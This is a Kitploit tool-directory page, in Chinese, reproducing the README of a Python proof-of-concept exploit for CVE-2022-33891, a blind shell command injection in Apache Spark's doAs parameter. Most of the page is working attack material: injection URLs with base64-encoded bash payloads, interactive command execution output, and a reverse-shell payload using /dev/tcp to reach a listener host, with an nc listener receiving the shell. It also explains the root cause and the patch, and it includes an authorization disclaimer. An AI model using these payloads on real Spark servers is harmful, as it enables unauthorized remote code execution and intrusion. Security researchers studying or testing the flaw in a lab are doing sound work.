Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2022-33891 — Apache Spark Shell 命令注入漏洞 | Kitploit
工具/GitHubGitHub/huskyhacks/cve-2022-33891
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubhuskyhacks/cve-2022-33891

cve-2022-33891

Apache Spark Shell 命令注入漏洞

查看仓库
891734年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-33891

Apache Spark Shell 命令注入漏洞

一个用于利用 Apache Spark Shell 命令注入漏洞的 Python POC。我看到其他一些 POC,但看起来非常可疑。这一个干净又简单。

我并未发现此漏洞/利用方法。我只是想为社区制作一个安全的 POC ^.^

CVE 最初由 Databricks 的 Kostya Kortchinsky 发现。

更新于 2022年9月7日:哟,现在有了一个 Metasploit 模块!由 h00die-gr3y 制作,并且已经 合并!

受影响版本

Apache Spark 版本 3.0.3 及更早版本、版本 3.1.1 至 3.1.2、以及版本 3.2.0 至 3.2.1

脆弱组件

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

示例

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... 休眠 10 秒

设置

你需要一个易受攻击的 Spark 版本,并且修改了一个配置选项。

  • 安装依赖项:$ pip3 install -r requirements.txt
  • 切换到 spark/ 目录。
  • 使用 spark/ 目录中提供的 docker-compose.yml 并运行 docker-compose up。让容器启动。
  • 在新终端中,输入 sudo docker exec -it spark_spark_1 /bin/bash
  • 在容器 bash 会话中,输入:echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • 可选地,cat 一下 spark-defaults.conf 的内容以确保看起来没问题。
  • 退出交互式 bash shell 并按 Ctrl-C 停止你的 docker-compose 进程。
  • 当容器正常关闭后,重新运行 docker-compose up

用法

root@kitploit:~
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
              [-lh LISTENINGHOST] [-lp LISTENINGPORT]
              [--check] [--verbose]

CVE-2022-33891 Python POC Exploit Script

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to exploit.
  -p PORT, --port PORT  Exploit target's port.
  --revshell            Reverse Shell option.
  -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                        Your listening host IP address.
  -lp LISTENINGPORT, --listeningport LISTENINGPORT
                        Your listening host port.
  --check               Checks if the target is
                        exploitable with a sleep test
  --verbose             Verbose mode

示例

检查目标是否可被利用:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!

在命令提示符循环中执行命令:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891> 

执行反弹 shell:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...

...[在另一个终端中]...

husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$ 

更多信息

命令注入的发生是因为 Spark 通过使用原始 Linux 命令来检查在 ?doAs 参数中传递的用户的组成员身份。Bash 插值执行该命令,将输出发送到 id 字段,并尝试查找结果用户。

传递 which python 作为 ?doAs= 用户的值会在回溯中产生以下结果:

root@kitploit:~
...
http://localhost:8080/?doAs=`which%20python`
...

spark_1  | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1  | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1: 
spark_1  | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`

这里,Java 决定最好将 id 命令传递到 bash -c 中以检查指定用户的组成员身份。问题在于,这也允许命令注入。Bash 插值已经执行了给定的命令,并在输出的第1行打印了结果,然后尝试通过该命令的标准输出来查找用户。

不存在名为 /opt/bitnami/python/bin/python 的用户,但这绝对意味着该命令已被传递给 Bash 并执行。

补丁版本将此调用参数化为使用 /bin/id 命令的完整路径,而不是 bash -c id。

值得注意的是,在命令执行期间页面上没有任何内容回显,因此这是盲 OS 注入。你的命令会执行,但没有任何指示表明它们是否成功,甚至你运行的程序是否在目标上存在。例如,用此仓库中的 docker-compose.yml 文件启动的容器没有 ping,因此通过 pingback 检查命令注入将不起作用。但你不会知道这种情况,所以你会一直怀疑它是否成功。

睡眠测试是安全的选择 ^.^

OPSEC

我完全没有花任何精力使其对 OPSEC 安全。红队成员,这取决于你们。

免责声明

此 POC 没有被动枚举能力。该漏洞是盲命令注入。如果你对此脚本针对目标使用,你是在向它发送数据包。即使你使用了 --check 参数,并且目标存在漏洞,你也在主动利用它来证明存在漏洞。

请勿在对测试敏感的生成系统上使用此工具。如果你没有获得授权,请不要针对目标使用此工具。我完全不承担你如何使用它的责任。

请查看许可证。

参考

  • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
  • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
  • https://spark.apache.org/docs/2.1.0/configuration.html
  • https://github.com/W01fh4cker/cve-2022-33891 (我不推荐使用此 POC)
下载工具